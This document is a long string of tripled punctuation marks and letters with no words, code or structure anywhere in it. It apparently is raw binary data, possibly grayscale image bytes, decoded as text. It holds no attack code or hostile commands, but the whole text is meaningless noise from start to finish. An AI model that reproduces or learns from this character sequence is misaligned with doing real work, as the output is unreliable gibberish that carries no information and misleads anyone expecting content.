!!!"""'''###    TTTPPP\\\```ZZZZZZVVVIIIJJJWWW$$$   )))***"""***,,,///222555444000+++000777888444///,,,'''!!!$$$...,,,  EEEEEEFFFHHHKKKQQQ%%%"""%%%&&&  """"""+++###  %%%%%%'''++++++'''ZZZSSSSSS\\\bbbaaaeeeaaa[[[UUUNNNLLLJJJJJJLLLMMMKKK&&&'''!!!(((555666444777888::::::333...+++ """&&& %%%%%%'''++++++'''$$$''',,,,,,000,,,''' 888999:::555555999000+++***---000777>>>AAAJJJKKKEEECCCDDDLLLZZZZZZXXX[[[]]]______XXXSSS&&&***)))!!!$$$ """"""+++###  ''',,,,,,000,,,'''   &&&'''!!!(((555666444777888::::::333...+++ HHHEEEEEELLLRRRWWW"""&&&!!!&&&***)))!!!$$$ """  ###  ###&&&$$$&&& QQQXXXZZZ^^^fffdddaaa```___YYY[[[RRRDDDEEEDDDIIILLL&&&///---***&&&+++555777666666777888888666000,,,!!!$$$)))######&&&$$$&&& """$$$(((000///,,,******%%%''':::===AAA<<<666111///000---+++111555<<>>BBBEEEDDD***111...***+++...333333111///,,,***(((---+++///)))---%%%!!!%%%''' ###%%%))))))(((((('''***""" BBB@@@:::777333333666888999777111111888>>>BBBOOOVVVSSSOOOPPPSSSXXXXXXVVVTTTQQQNNNMMMRRR"""###&&&666???333***&&&### !!! %%%))))))(((((('''***"""  ***111...***+++...333333111///,,,***(((---+++//////(((  LLLMMMFFFSSSaaafff%%%!!! """###&&&666???333***&&&#########!!!   '''  '''%%% ???EEEMMMMMMWWW^^^WWWWWWWWWQQQOOOSSSKKKIIIYYYRRR&&&***)))((()))(((***,,,+++%%%&&&***555  &&&,,,111///...'''%%% !!!)))"""""""""$$$;;;===333111111444::::::???CCC:::888888999@@@KKKNNNNNNMMMNNNMMMNNNQQQPPPJJJCCC???EEEKKK!!!)))BBBFFF444(((#########!!!   !!! %%%''' !!!)))"""""""""$$$ &&&***)))((()))(((***,,,+++%%%&&&***555888111))) LLLKKKWWWYYY___eee111///...+++!!!)))BBBFFF444(((#########"""!!!'''(((######   !!!***444(((XXX\\\aaadddgggiiiccc\\\SSS^^^XXXRRRHHH>>>EEE"""(((***((("""  ######!!!&&&$$$"""***,,,)))***444((("""&&&***---111333---''')))### """$$$EEEDDD???666...++++++000777>>>@@@;;;<<>>******$$$!!! ((($$$### """"""222111***%%%***...///---***&&& !!!%%%###<<<;;;777111,,,+++,,,---000:::;;;888???JJJOOOOOOJJJBBB======CCCFFFDDDDDD???777222444;;;)))777333---%%%!!!&&&***'''###!!!  ''''''!!!$$$&&&$$$$$$---***&&& !!!%%%### ;;;<<<===@@@JJJJJJHHHOOO[[[___```ZZZRRRMMMNNNTTTWWWUUUUUUPPPHHHDDDFFFLLLRRR``````\\\YYYZZZ^^^\\\SSSOOOTTTSSSUUU]]]\\\YYYQQQTTT[[[\\\YYYVVVPPPSSScccqqqnnnhhh```\\\aaaeee******%%% """'''))))))---...,,,$$$***gggjjjfff]]]YYYVVVNNNLLLGGGHHHMMMEEE???BBB  ,,,'''!!!!!!  +++///)))%%%'''(((!!!$$$  ///+++XXXYYYYYYTTTJJJ@@@@@@???======;;;777444444===FFFFFFIIIOOOTTTVVVSSSQQQNNNQQQTTT[[[YYYOOODDDEEEDDD???;;;@@@KKKUUUYYY...,,,$$$***000333///'''###    $$$))),,,'''!!!!!!  +++$$$  ---...,,,$$$***000333///'''###   ...444BBB???555111333222///555???@@@DDDJJJNNNQQQLLLCCC;;;@@@GGGGGGCCCAAA<<<333111777;;; )))---///+++*********%%% """''')))&&&$$$"""%%%(((...---###000333///'''###    BBBAAA???EEEOOOPPPTTTZZZ___bbb]]]SSSKKKQQQXXXXXXTTTRRRMMMEEECCCHHHMMMWWWcccgggaaa]]]___```YYYRRRNNNOOOUUU]]]YYYRRRPPPTTTXXXYYYYYYWWWUUUTTTZZZcccgggjjjfffdddeeefff```---,,,%%%   )))***111333,,,///&&&%%%&&&%%%((('''eeehhhbbb___bbb]]]SSSLLLAAA???BBBIIIBBB>>>  ...,,,...***$$$%%%)))### ,,,,,,---***%%%!!!]]][[[]]]\\\[[[TTTKKKCCC:::777999999>>>888333222===NNNWWWWWW^^^```YYYKKKOOONNNUUUVVV^^^```ZZZ___[[[RRRKKK<<<:::HHHQQQQQQQQQTTT'''...111+++))),,,'''    ...,,, """(((///...***$$$%%%)))### !!! &&&OOOTTTRRRUUUTTTSSSLLLCCC<<<222000WWWYYYRRRDDDHHHHHHNNNOOOXXXYYYSSSYYY///&&&%%%&&&%%%((('''...111+++))),,,'''    ---999TTTRRRBBB888;;;888///666AAABBBHHHMMMTTTTTTPPPJJJDDDEEEKKKOOOIIICCC???;;;:::@@@>>> &&&)))---+++...---,,,%%%   )))***111333,,,""""""((()))222333---333///...111+++))),,,'''    ...,,,GGG???FFFQQQRRRXXX^^^eeeeeeaaaZZZUUUVVV\\\```YYYTTTPPPLLLKKKQQQPPPTTTWWWddddddfffbbb]]]TTTMMMHHHIIIOOOZZZXXXXXXTTTXXXYYYWWWVVVWWWVVVWWWZZZ```ccchhhfffiiihhhhhh```'''######333###!!! $$$"""'''***)))'''iiilllhhhdddaaaUUULLLHHH???>>>>>>===>>> ***''' $$$%%%%%%%%%''' (((***---...222...&&&###""""""""" NNNSSS[[[UUUQQQNNNRRRaaaQQQ<<<<<<@@@DDDDDDFFFOOOMMMNNNQQQPPPHHHBBBDDDNNNQQQKKKLLLNNNJJJLLLKKKGGGIIIBBB;;;FFFIIIIIIHHHRRRVVVUUU'''222666111---***  ***''' """&&&***$$$%%%%%%%%%''' (((***---... !!!HHHJJJFFFKKKRRRMMMJJJFFFJJJZZZIII555<<<===GGGKKKDDDEEEHHHDDDEEEEEE@@@BBB<<<555'''***)))'''222666111---***  444;;;PPPMMM@@@888222------555???DDDHHHLLLPPPJJJKKKKKKDDDBBBCCCKKKLLLBBB888999FFFMMMPPPSSSTTTXXXTTTKKKIIIHHHHHHHHHAAAEEEBBBDDDBBB !!!!!!###$$$+++'''######333###!!!GGGHHHKKKJJJBBB!!!$$$"""'''***)))'''222666111---***  ***''' """&&&***$$$%%%%%%HHHQQQRRRHHH===???LLLTTT***---...222...&&&###"""""""""MMMLLLCCCDDDEEEFFFGGGOOOMMMHHHOOOQQQMMMRRRZZZUUUQQQNNNRRRbbbRRR======AAAFFFFFFHHHQQQOOOPPPTTTRRRKKKEEEGGGQQQUUUOOOOOORRROOOPPPPPPKKK222666111---***  ***''' ======EEENNNTTTWWW\\\aaaZZZ[[[[[[TTTRRRSSS\\\^^^SSSIIIJJJXXX___bbbeeefffjjjfff^^^[[[[[[ZZZZZZTTTXXXTTTVVVTTTYYYXXXOOOPPPQQQRRRTTT[[[YYYTTT\\\]]]ZZZ^^^gggbbb^^^ZZZ(((%%%...111""" $$$)))'''VVVccckkkjjj```YYYOOOMMMDDDBBBCCC???   %%%(((,,,***###%%%)))###!!!"""!!!!!!!!!)))+++%%%&&&%%%$$$&&&***(((!!!&&&+++,,,!!!SSSSSSYYYWWWTTTNNNNNN]]]___QQQGGG>>>===@@@DDDCCCBBBDDDHHHAAA<<>><<<<<>>BBB;;;666  $$$)))''',,,444333***"""    %%%(((,,,***OOOPPPTTTNNNFFFEEE!!!"""!!!!!!!!!)))+++%%%&&&%%%$$$&&&***(((!!!&&&YYYZZZOOODDD???>>>CCCJJJHHHMMMUUUSSSRRRSSSXXXVVVSSSNNNNNN]]]```QQQHHH@@@>>>BBBFFFEEEDDDGGGJJJDDD???FFFOOOPPPHHHFFFFFFJJJPPPQQQCCC,,,444333***"""    @@@CCCFFFHHHRRRUUUPPPPPPSSS[[[___ccc```ZZZ\\\```ZZZQQQQQQYYYZZZYYYYYYYYYaaaccc]]]___]]]]]]___bbbaaaZZZWWW___eeefff[[[PPPKKKJJJOOOVVVTTTYYYaaa```^^^___eeeccc```ZZZ###$$$---000+++"""   '''***...iiilllfff___^^^___aaa[[[OOODDDBBBCCCCCCBBBLLLVVVVVVPPPLLLMMMMMM@@@BBBCCCDDDDDD@@@??????BBBFFFKKK]]]bbbdddbbbZZZUUUZZZUUUIIIHHHOOOKKKJJJPPPNNNUUUZZZYYY[[[^^^aaaaaa]]][[[ZZZTTT[[[[[[\\\UUUPPPLLLIII[[[ZZZZZZRRRIIIJJJSSS\\\___ZZZQQQGGGJJJMMMNNNMMMJJJCCC===777999>>>@@@;;;999>>><<<999:::666//////000111222444777999CCCSSS***...222444///)))'''(((***$$$ !!!!!!  ***...111///'''###'''###******$$$******,,,%%% %%%***(((OOOTTTSSSRRRQQQJJJAAABBBKKKTTTWWWRRRIII???999444222888555222333///))))))***+++,,,...222333>>>'''***...222444///)))'''(((***$$$ !!!!!! 444555666222111111444888;;;999888@@@DDD>>>666>>>OOOTTTWWWUUUMMMIIIMMMIII>>><<>><<>>:::222444///)))'''(((***$$$ !!!!!!  @@@@@@DDDGGGKKKHHHHHHPPPTTTNNNFFFNNN```eeehhhfff^^^ZZZ^^^ZZZOOOMMMUUUQQQPPPVVVUUU[[[aaa```cccfffiiihhheeecccccc]]]ddddddfff___ZZZVVVSSSVVV___dddccccccggggggffffff^^^UUUVVV &&&+++...,,,""""""%%%'''***'''   )))777qqqqqqggg]]]WWWSSSZZZWWWJJJ???AAAGGGNNNUUU\\\\\\TTTMMMGGGDDDGGG:::::::::<<<>>>BBBEEEGGGFFFHHHPPPZZZ[[[[[[YYYUUUXXXXXXUUUKKKGGGNNNLLLJJJMMMNNNSSS]]]eeefffiiinnnlllaaaaaabbb```WWWQQQ[[[```\\\bbbddd\\\[[[VVVAAA888DDDUUUZZZ\\\[[[QQQNNNQQQSSSUUUXXXUUUNNNFFFCCCCCC===888000222444;;;555111//////...111111000444:::999<<>>JJJTTTRRRNNN999111===MMMRRRUUUSSSIIIFFFIIILLL222)))+++...555///+++)))((((((++++++***...444333666CCCOOO777::::::///&&& ###!!! &&&'''+++---000333666999888:::;;;999666888:::;;;<<>>  )))777::::::///&&& ###'''((((((&&&OOOQQQQQQOOOEEE"""+++444444888===;;;000000222///&&&NNNXXX]]]ZZZ```bbbWWWNNNNNNJJJEEEQQQ[[[ZZZUUUAAA888DDDUUUZZZ^^^\\\RRROOORRRTTTWWWZZZWWWPPPHHHFFFFFF@@@;;;444555888???999)))777::::::///&&& ###!!! &&&'''<<>>>>>999<<<>>>AAACCCJJJVVV\\\WWWMMMIIIEEEBBBJJJNNNKKKMMMMMMMMMRRRUUURRRLLLLLLOOODDDEEERRR]]]ggglllmmmnnnooolllccc```]]]ccc```cccffflllnnnSSSPPPNNN:::777CCCUUU```^^^YYYRRROOOLLLIIIIIIBBB@@@BBBEEEMMMOOOGGGFFFTTTWWWGGG999111//////111222888===>>>CCCDDDFFFIII$$$(((+++000000''' &&&%%%!!!  ???LLLRRRMMMCCC<<<444444555555777===???;;;999@@@### ;;;222///,,,333000333555<<<>>>888222)))MMMMMMJJJKKKHHHFFF333///<<>>@@@CCCKKKNNNRRRWWW000''' &&&%%%!!! ///333555<<>>AAAAAAAAAFFFIIIFFF@@@AAACCC888:::GGGRRR\\\aaacccdddeeebbbYYY:::<<>>;;;222///,,,```^^^aaacccJJJIIIWWWZZZ$$$(((+++000000''' &&&%%%!!! 999<<<>>>BBBCCCJJJWWW]]]YYYOOOGGG@@@@@@AAAAAADDDJJJLLLHHHFFFNNNRRROOORRRRRRRRRWWWZZZWWWRRRRRRUUUJJJKKKYYYdddooosssuuuvvvwwwtttllliiifffmmmjjjmmmpppvvvxxxsssmmmccc``````]]]___\\\ZZZGGGDDDPPP!!!%%%((("""$$$"""!!!###&&&***000444llleeeeeeaaaZZZ``````___NNNAAAAAABBBFFF[[[_________\\\VVVJJJCCC;;;>>>AAAFFFJJJOOOZZZ___ZZZSSS???AAACCCEEEGGGKKKJJJAAAEEEXXXeeeYYYKKKFFFNNNMMMHHHKKKMMMXXX]]]```eeeooorrrooogggWWWQQQNNNVVV^^^aaadddIIIEEE???666777BBBMMMPPPTTTWWWQQQFFFEEEDDDAAA>>>>>>@@@FFFMMMMMMDDD>>>@@@>>>444000000222444333333>>>LLLQQQOOONNNPPPRRR***000444444------***###)))***((( %%%))))))***&&& ???999000333777;;;@@@EEEPPPTTTOOOIII@@@777222333666555222555777:::;;;===AAA@@@888;;;NNN[[['''AAA>>>666&&& %%%---000444999;;;444RRR???:::BBB===777...000:::EEEIIILLLOOOJJJ???>>>===:::777...)))))),,,...------888FFFKKKIIIHHHJJJLLLQQQVVV[[[ZZZTTT---***###)))***((( %%%))))))***&&& 333777<<>>===555999LLLYYYMMM@@@;;;CCCBBB===AAACCCMMMRRRUUU[[[eeehhheee888:::@@@GGGGGG$$$"""!!!###&&&***000444444------***###)))******%%%  DDDCCC:::>>>RRR___'''&&&+++...444>>>AAA>>>666&&&NNNLLLSSS[[[FFFBBB&&&***000444444------***###)))***((( %%%))))))***&&& IIIBBB;;;>>>AAAFFFKKKPPP[[[```[[[TTTLLLCCC>>>@@@CCCBBB@@@BBBDDDGGGIIIKKKOOONNNFFFJJJ]]]jjj___QQQLLLTTTSSSOOORRRTTT___eeehhhmmmwwwzzzwwwppp```ZZZXXX___gggkkkoootttuuuoooeeeRRRMMMUUUPPPKKKCCCDDDNNN!!!  """"""$$$$$$%%%+++...000iiigggdddhhhmmmmmmiii___HHH;;;;;;>>>GGGUUUXXXWWW\\\dddcccVVVKKK;;;>>>FFFNNNXXXYYY\\\]]]ZZZXXXBBBBBB@@@<<<===DDDGGGAAAHHHXXXaaaggglllbbb[[[XXXQQQPPPUUUUUUQQQUUU___iiikkkiiidddQQQGGGDDDIIIMMMMMMSSS======<<>>>>>>>>CCCHHHBBB:::444333555444111222666:::>>>666<<>>777???OOOWWW^^^cccYYYRRR&&&:::888333 """'''******MMM>>>666555555444>>>FFFHHHEEEBBBAAACCCAAA777666333333///---++++++///444888000666BBBIIIIIIKKKKKKLLLRRRUUUWWWXXXVVVTTTWWW555555111)))"""!!!&&&...---  777???JJJKKKNNNOOOLLLJJJCCC>>>888777777555555666666444000111888\\\aaaWWWPPP 777888===CCC===   """"""$$$$$$%%%+++...000111///---)))%%%### ===@@@:::BBBRRRZZZ555:::000)))&&&######$$$---777:::888333 DDDBBBFFFKKK$$$%%%+++...000111///---000555555111)))"""!!!&&&cccbbbUUUJJJ;;;>>>FFFNNNYYYZZZ]]]^^^[[[YYYSSSMMMGGGGGGGGGEEEEEEFFFDDD@@@AAAHHHLLLEEEMMM]]]fffmmmrrrhhhaaa^^^WWWWWW\\\\\\XXX]]]gggqqqsssrrrmmmZZZPPPNNNRRRWWWWWW]]]bbbeeeeee```QQQJJJIIIIIIHHHQQQYYY\\\;;;<<<)))!!!### !!!$$$!!! &&&---555444---"""!!!^^^ccceeegggiiihhhaaaWWWFFF:::'''###$$$%%%  )))'''#########$$$   '''******000>>>999+++!!!###$$$(((\\\YYYRRRSSSUUUQQQJJJ>>>???FFFFFFGGGGGGjjjlllXXXNNNJJJKKKPPPRRROOOCCC===@@@@@@FFFOOORRROOOEEECCCAAA555666;;;<<<888<<>>;;;777666999999888444222333:::FFFJJJPPPTTTSSSZZZgggbbbTTTJJJ***(((!!!"""$$$  CCCCCC???>>>???@@@cccdddPPPFFFCCCDDDIIIJJJGGG<<<666999999555666222666888888...222>>>EEEMMMTTT\\\[[[TTTIIIHHHMMMRRRTTTWWWYYY111*** '''###$$$%%% ===GGGPPPNNNJJJJJJJJJKKKEEE@@@;;;888444333666666555111///@@@IIILLLIII@@@  &&&---555444---"""!!!&&&######$$$  666===IIIMMMSSSWWWVVV000>>>999+++!!!###$$$(((***(((!!!"""RRRNNNGGG<<<---555444---"""!!!&&&+++---000222111*** OOOPPPLLLSSS[[[XXXYYYZZZ===@@@KKKVVV___]]]YYYYYYYYYZZZTTTOOOKKKGGGDDD FFFEEEAAA@@@AAAHHHTTTXXX^^^cccbbbiiivvvqqqdddYYYSSSSSSUUUUUUXXX\\\]]]aaadddaaaZZZ\\\^^^ZZZSSSHHHIIIPPPTTTRRRTTTVVVVVVRRRQQQSSSSSSvvvxxxeee"""*** '''"""!!! !!! &&&---::::::///+++***fffZZZYYY\\\\\\[[[WWWWWWIIIBBB !!!!!!((()))'''#########"""&&&&&& 111222((( %%%***)))$$$ LLLFFFKKKSSS___[[[ZZZTTTNNNFFFCCCRRRBBB555QQQZZZMMM@@@;;;>>>DDDLLLVVVLLLEEEFFFPPPOOONNNOOONNNGGGKKKTTTRRRDDDAAACCC@@@BBBIIIIIIAAACCCIIIEEE@@@ZZZ::::::///+++***...###!!!$$$%%%$$$ 777:::GGGGGGEEEKKKMMMLLLSSSUUURRRNNNHHHNNNNNNMMMQQQQQQJJJDDDAAAFFFFFFAAA>>>:::555111//////...000999<<<@@@HHH[[[\\\QQQIIIOOOSSSRRRMMMIII"""---***)))###DDD======GGGJJJ:::---JJJRRRFFF888333777===EEEOOOEEE>>>???III===:::<<>>CCCBBB>>>;;;777222...,,,,,,+++---"""IIIHHHIIIHHHAAA&&&$$$---::::::///+++***... <<<>>>BBBKKK^^^___TTTMMM%%%***)))$$$ ---::::::///+++***...###!!!$$$%%%$$$  OOOPPPNNNTTTVVVUUU\\\^^^\\\XXXRRRXXXXXXWWW\\\[[[VVVOOOMMMRRRQQQMMMJJJ <<<===FFFIIIMMMVVViiikkk```XXX]]]bbbbbb\\\XXXYYYTTTPPPJJJMMMTTTWWWTTTNNNSSS\\\hhhdddccc]]]XXXPPPMMMQQQYYYVVVPPPOOOZZZ]]]NNNAAA]]]fffZZZ !!!&&&$$$'''&&&%%%%%%(((//////%%%///&&&!!! 333888999---'''!!!YYYXXXZZZWWWPPPLLLHHHEEEZZZjjj---...222---,,,///000)))$$$###"""###(((***%%%&&&(((((('''###  '''+++'''"""######&&&((('''+++&&&GGGAAA@@@GGGSSSZZZPPPNNNMMMZZZZZZPPPMMMEEE===CCCEEE@@@:::999@@@JJJIIIEEEPPPUUUSSSVVVUUUSSSTTTVVV^^^]]]SSSDDD???IIIMMMMMMJJJIIIVVVeee]]]SSSOOOMMM333888999---'''!!!!!!!!!###:::OOO___YYYZZZ^^^YYYWWW[[[\\\UUUPPPNNNNNNNNNSSSUUUPPPQQQSSSSSSRRRNNNHHHFFFEEEDDDAAA<<<555//////444:::888555:::DDDQQQUUUPPPKKKLLLMMMPPPQQQQQQ!!!((()))))) >>>>>>BBBDDDEEE===666;;;===888222111888BBBBBB>>>IIINNNLLLOOONNNFFFDDDCCCOOO___WWWMMMIIIHHHZZZ``````TTTNNNIIIIIIHHHJJJFFF???<<<888###333---...222---,,,///000)))$$$###"""###(((QQQLLLMMMOOOOOONNNJJJEEECCCBBB@@@>>>999222+++&&&$$$'''OOOMMMNNNPPPXXX///%%%(((888///&&&!!! 333888'''###  ===;;;777<<>>111*** """###%%%&&&,,,000(((---111---+++++++++,,,(((""" !!! $$$000<<<444)))888888===JJJIIIBBBCCC===:::>>>IIILLLIIIIIIJJJYYYLLL???;;;<<>>:::888:::AAADDD???===;;;@@@EEEJJJKKKJJJIIIEEEMMMYYYeeeAAA 333>>>KKKGGGBBBCCCQQQEEE888444555:::<<<===<<>>111*** """###%%%&&&,,,000(((---XXXUUUSSSRRRSSSSSSOOOIIIGGGFFF???***))) KKKOOORRRSSSRRR''' !!!$$$%%%,,,((("""CCCFFFBBB???===CCCHHHMMMNNN $$$)))***888111+++***'''&&&%%%  :::|||rrrfff___TTTSSSWWWXXXZZZ[[[aaafff^^^cccgggcccbbbaaa+++,,,((("""MMMJJJHHHNNNSSSXXXYYYXXXWWWTTT\\\iiiuuunnnbbbQQQGGGBBB@@@@@@FFFRRRRRRJJJKKKFFFDDDHHHSSSVVVRRROOOKKKFFFPPP^^^ZZZUUUVVVeeeXXXLLLHHH $$$$$$***---+++'''******+++***(((###111&&&((())) ---,,,'''XXXYYYNNNBBBAAA>>> (((000666777000***)))***//////)))$$$$$$$$$ """111:::333***>>>777444999DDDAAA777888777444666EEEKKKGGGHHHFFFRRR@@@777999CCCTTTJJJCCCFFFTTTZZZ]]][[[VVVZZZZZZ[[[YYYVVVQQQFFF555???CCCIII^^^fffaaa[[[eee^^^TTTVVVVVVKKKLLLMMMZZZYYYTTTMMMNNNCCC666666333000;;;dddllleeeUUUGGG<<>>BBB???@@@>>>JJJ888///111;;;MMMCCC<<>>111111...+++666___@@@999))) (((000666777000***PPPQQQVVVVVVPPPKKKKKKLLLKKKCCC---+++'''SSSSSSTTTSSSQQQ###$$$$$$$$$###FFFIIIKKKMMMIIIBBB;;;;;;DDDJJJeee```iiiddd&&&((())) ---,,,''' !!! ===;;;888BBBllltttmmm^^^OOOEEEJJJPPPUUU]]]eeekkkmmmfff```^^^***//////)))$$$$$$$$$### MMMFFFFFFOOOUUUUUUUUUSSSPPP[[[jjjsssmmmdddWWWOOOFFF>>><<>>EEEIIINNNLLLMMMGGGNNNNNNHHHKKK<<<;;;GGGQQQRRRVVVXXXYYYVVVUUURRR```iiibbb```[[[WWWQQQ===222...,,,++++++222666555666666222...333BBB___ddd(((%%%###"""***222000000222111VVVVVVRRRRRRTTTUUUZZZYYYOOO...///000WWWVVVSSSUUUYYY$$$---222222(((???DDDAAACCCHHH???666333999```jjjtttllljjjfffbbb)))   BBBBBB>>>;;;@@@NNNlllqqq\\\YYYWWWSSSRRRTTTWWW```hhhffffffhhh111......******,,,---222222((( ???EEEIIIKKKQQQWWWYYY^^^```hhhcccfffiiilllhhhZZZHHH@@@???@@@AAA???AAAAAA@@@???BBBEEEKKKPPPMMMNNNQQQWWW[[[aaa___```ZZZaaabbb )))...,,,+++//////((('''!!!$$$---***$$$ ***,,,---...---,,,+++)))***222666  '''***&&&%%%''')))---```bbb___RRREEE???@@@BBBJJJCCC@@@===999999<<<===EEEFFFMMMPPPNNNJJJKKKKKKBBB@@@AAAFFFMMMYYY^^^\\\ZZZ^^^^^^WWWVVVPPPSSSaaaZZZZZZaaafffhhhkkkkkkbbb[[[XXXRRRAAA<<<>>>???;;;888777555333333555555999FFFJJJLLLPPPOOOOOOHHHJJJGGGEEEJJJUUUZZZWWWVVVXXXYYYZZZXXXWWWWWWUUUVVV]]]aaaXXXHHHAAAEEEFFFFFFGGGBBB===;;;888:::999444444888AAAIIIQQQTTTPPPOOOQQQ777:::BBB;;;888555 ;;;FFFFFF===:::>>>???EEEIIIGGGCCCDDDDDD;;;888:::???FFFQQQVVVUUUSSSWWWXXXPPPaaaeeeeee\\\UUUQQQLLL<<<777888999666222111000......000000444AAAFFFGGGLLLKKK###)))...+++***,,,---VVVTTTSSSSSSPPPQQQZZZ^^^)))...,,,TTTXXXYYYQQQQQQ!!!$$$***222666---GGGHHHHHHDDD@@@===:::===;;; ]]]^^^dddiiilllpppooofff```]]]WWWGGGBBBCCCDDDAAA>>>===<<<::::::<<<<<<@@@MMMRRRTTTXXXWWWWWWPPPRRRPPPNNNSSS___dddaaa___,,,---...---,,,+++)))***222666--- FFFBBBBBBFFFOOOWWW```ccc___^^^```bbbggggggiiifffYYYMMMHHHHHHJJJSSSLLLIIIFFFBBBCCCFFFHHHGGGNNNYYYXXXPPPMMMQQQRRRXXX\\\ZZZWWW  ###...***%%%+++///&&&###***222222...+++ !!!---+++---,,,***,,,---///333111  ######&&&((($$$VVVTTTZZZ```]]]UUULLLRRRZZZcccQQQJJJBBB;;;;;;@@@DDDIIIMMMPPPOOOKKKIIIHHHDDD===666666===GGGRRR^^^YYYUUU[[[^^^UUURRRYYYaaahhhfffcccbbbfffgggfffkkkhhh```\\\ZZZNNNHHHFFFIIIOOOHHH===777888555222666DDDTTTUUUSSSXXX^^^\\\\\\ZZZSSSNNNPPPQQQTTTYYY]]]YYYWWWYYYXXXVVVWWWYYY[[[___]]]RRRGGGBBBGGGLLLLLLHHHBBB>>>999AAAJJJGGG<<>>===:::===KKK[[[]]]ZZZ```fffeeeeeeccc[[[WWWYYY[[[^^^---111---+++---,,,***,,,---///333111&&&!!!!!! UUUIIIRRRYYY[[[[[[___aaa]]]UUUSSSVVV\\\[[[aaagggeee\\\TTTZZZccclllYYYRRRKKKEEEEEEJJJNNNNNNQQQYYYXXXRRROOOUUUYYY[[[[[[WWWUUU%%%'''+++***'''### &&&000666333111222+++222444---)))###))),,,&&&$$$++++++'''!!!&&&'''### RRRTTT[[[\\\ZZZZZZ]]]bbbgggeeeSSSYYYUUUJJJDDDDDDDDDQQQNNNKKKEEEDDDFFFGGGJJJGGG@@@DDDLLLUUUWWW[[[ZZZWWWRRRLLLIIIOOOUUU___hhhjjjhhh^^^]]]YYYYYY^^^fffddd333111222+++GGGJJJSSSZZZ___^^^^^^```YYYUUUNNNHHHHHHHHH@@@???CCCHHHJJJJJJJJJGGGGGGHHHTTTWWWQQQDDDNNNVVVVVVRRRLLLPPPQQQNNNKKKYYY___]]]JJJQQQLLLBBB<<<<<<888222777DDDMMMOOOIIIFFFDDD======???@@@CCC@@@999===EEENNNPPPTTTSSSPPPKKKEEEBBBSSSSSSXXX```___[[[ZZZZZZTTTDDD;;;FFF???777777;;;<<<<<>>AAAWWWVVV]]]```ZZZNNNFFFEEE@@@AAAHHHMMMQQQKKKEEEIIIHHHHHHUUUMMM===///777EEEBBBAAAIIIHHHIIINNNQQQPPPQQQKKK;;;:::AAAJJJ !!!###$$$!!!###)))000777bbbdddYYYIII888...[[[\\\SSSQQQQQQRRRXXXYYYSSSSSSSSSWWWVVVPPPIIINNNWWW[[[RRRKKKVVVYYYYYYBBBHHHMMM %%%)))'''444:::BBBGGGIIIIIIOOOUUUUUUUUU222444+++))))))***aaaXXXQQQ]]]______VVVWWWYYYYYY\\\TTTSSSXXX^^^dddggglll___WWWVVVUUUPPPTTTSSSRRR```XXXHHH;;;BBBPPPMMMLLLTTTTTTUUUZZZ^^^\\\^^^WWWHHHGGGNNNWWWUUU!!!###$$$!!!###)))000777:::<<<111!!!"""(((((((((222llldddbbbaaaccciiijjjdddddddddhhhgggaaaZZZ___iiimmmddd\\\hhhkkkkkkaaabbbeeeeeehhh___SSSLLLOOOXXXWWWZZZ\\\XXXQQQRRRXXX^^^ZZZQQQ!!!(((******444666777>>>888)))$$$&&&(((((($$$ $$$222000///...666:::999777444000...------...,,,)))%%%YYYZZZaaaWWWWWWbbbddd^^^^^^\\\VVVPPPGGGEEEKKKEEE===;;;GGGIIIKKKRRRXXX[[[[[[dddggghhhnnnhhhYYYTTTVVVXXXWWWSSSOOOHHHHHHNNNTTT[[[...333>>>DDDDDDEEEEEEOOO\\\ZZZYYYaaaeeedddbbb___[[[YYYXXXXXXXXXWWWSSSPPPUUUSSSMMMHHH???===CCC===555333999CCCAAA>>>;;;===???BBBDDDJJJQQQSSSTTT]]]___```gggaaaRRRMMMOOOQQQQQQMMMIIIBBB===AAABBB???DDDEEEHHH======FFFKKKJJJEEE???IIITTTPPPRRRPPPNNN;;;222<<>>HHHPPPSSSWWWSSSIIIDDD@@@???:::555555555EEEIIIQQQ]]]bbbbbb```ccceeegggjjjoooiiieee___aaa```UUUGGGGGGAAACCCGGGOOO[[[^^^^^^bbbeeebbb```___\\\WWWUUUXXXVVVXXXUUUWWWOOOJJJ@@@<<<777777222---,,,---444AAA<<<@@@CCC@@@===BBBJJJUUU[[[[[[YYY\\\^^^```ccchhhccc^^^WWWZZZYYYNNNAAA@@@III777:::BBBKKKXXX[[[GGG>>>@@@AAA888:::KKKTTTLLLJJJIIIIIILLLJJJQQQRRR\\\333,,,%%%YYYYYYWWW;;;444>>>FFFIIINNNIII555...111ZZZOOOBBB """///333""",,,###"""222555222444<<>>>>>@@@BBBEEEMMMVVVcccgggSSSIIILLLMMMDDDFFFWWWaaaXXXWWWUUUVVV$$$""")))***333333,,,%%%$$$!!!"""***   ###000222222666rrrpppnnnmmmkkkfff***gggeeegggdddfffjjjkkkiiiLLLEEEOOOXXX[[[___[[[QQQMMMIIIHHHCCC???>>>???FFFSSSNNNRRRVVVRRRPPPUUU]]]iiioooooo&&&)))---000555;;;888:::AAABBB@@@666444111%%%$$$(((%%%""" """ +++000000000///)))***...///...,,,+++***'''bbblllppphhhEEE888666???UUUMMMCCC===:::<<<;;;666666888777@@@EEEPPPWWWZZZ^^^aaaeeekkkhhhkkkqqqrrrpppfffdddaaaEEEKKKWWW\\\\\\\\\ZZZUUUUUUYYYZZZYYYWWWVVVUUURRRYYYEEE;;;555111444222---...///...666FFF:::DDDHHHDDD888>>>IIIPPPRRRVVVYYY^^^dddaaadddjjjkkkjjj___]]]ZZZNNNGGGMMMQQQDDDKKKSSSUUUKKKAAA777333222555;;;<<<>>>HHHSSSRRRZZZlllggg]]]]]]000---'''aaafff^^^;;;---+++555KKKCCC   )))---000555;;;888:::AAABBB@@@666444111OOOGGG """***,,,""" ******111CCC>>>555555000...222555;;;BBB<<<===:::===BBBHHHJJJ +++000000000///)))***888===555AAA333222;;;QQQJJJ@@@:::666999888444444XXXTTTUUU]]]gggdddbbb___QQQAAA<<<===???CCCNNNVVV___```VVVLLLBBB???>>>@@@FFF******111CCC>>>555555000---''' %%%&&&!!!  +++000000iiihhhbbbdddggghhh...,,,eeedddaaahhhssswwwoooLLL???===GGG\\\UUULLLFFFBBBEEEDDD???@@@AAA@@@HHHXXXMMMVVVZZZWWWKKKPPP\\\cccfffjjj!!!)))111;;;???===>>>CCCIIIJJJJJJIIICCC>>>;;;...)))---...'''---///++++++ !!!)))+++)))+++,,,111///,,,,,,---+++***,,,cccfffiiikkkZZZ>>>555444666:::;;;666444555666444444888>>><<>>BBBDDDGGGVVVccc```\\\```aaa444///___```PPP444******,,,///111 ***!!!)))111;;;???===>>>CCCIIIJJJJJJIII !!! ---:::777333777888......555>>>EEECCC555888AAAIIIMMMMMMLLL!!!###!!!)))+++)))+++,,,111///666777''' 